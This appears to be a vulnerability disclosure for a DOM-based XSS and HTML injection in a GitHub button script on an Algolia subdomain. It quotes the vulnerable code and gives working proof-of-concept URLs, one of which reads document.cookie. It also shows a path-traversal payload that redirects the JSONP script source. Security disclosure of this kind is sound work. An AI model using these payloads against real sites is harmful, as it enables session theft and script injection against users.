How it was found

Description

Vulnerable parameter: user Vulnerable script: https://github.algolia.com/github-btn.html Vulnerable code:

        var params = function() {
                for (var t, e = [], o = window.location.href.slice(window.location.href.indexOf("?") + 1).split("&"), r = 0; r < o.length; r++) t = o[r].split("="), e.push(t[0]), e[t[0]] = t[1];
                return e
            }(),
            user = params.user,
            repo = params.repo,
            type = params.type,
 ...
  "follow" == type && (mainButton.className += " github-me", text.innerHTML = "Follow @" + user, button.href = "https://github.com/" + user

PoCs

PoC #1 HTML Injection for Chrome, Internet Explorer

https://github.algolia.com/github-btn.html?#&user=<h1><marquee>HTML<br>HTML<br>HTML<br>HTML<br>HTML<br>HTML<br>&type=follow

PoC #2 XSS for Internet Explorer (using X-UA-Compatible IE=9)

https://blackfan.ru/xss?c=%3Cmeta%20http-equiv=%22X-UA-Compatible%22%20content=%22IE=9%22%3E%3Ciframe%20src=%27https://github.algolia.com/github-btn.html?%23%26user=yrdy%3Cscript%3Ealert(document.domain);alert(document.cookie);//%26type=follow%27%3E%3C/iframe%3E

Another vulns

Also, this script has potential vulnerabilities using user controlled parameters in the path to the JS script. But for the exploitation it requires additional vulnerability on api.github.com (for example, Open Redirect or user controlled output).

function jsonp(t) {
  var e = document.createElement("script");
  e.src = t + "?callback=callback", head.insertBefore(e, head.firstChild)
}
...
jsonp("follow" == type ? "https://api.github.com/users/" + user : "https://api.github.com/repos/" + user + "/" + repo);

PoC

https://github.algolia.com/github-btn.html?#&user=../../another/endpoint&repo=../../another/endpoint&type=fork

Result

https://api.github.com/another/endpoint?callback=callback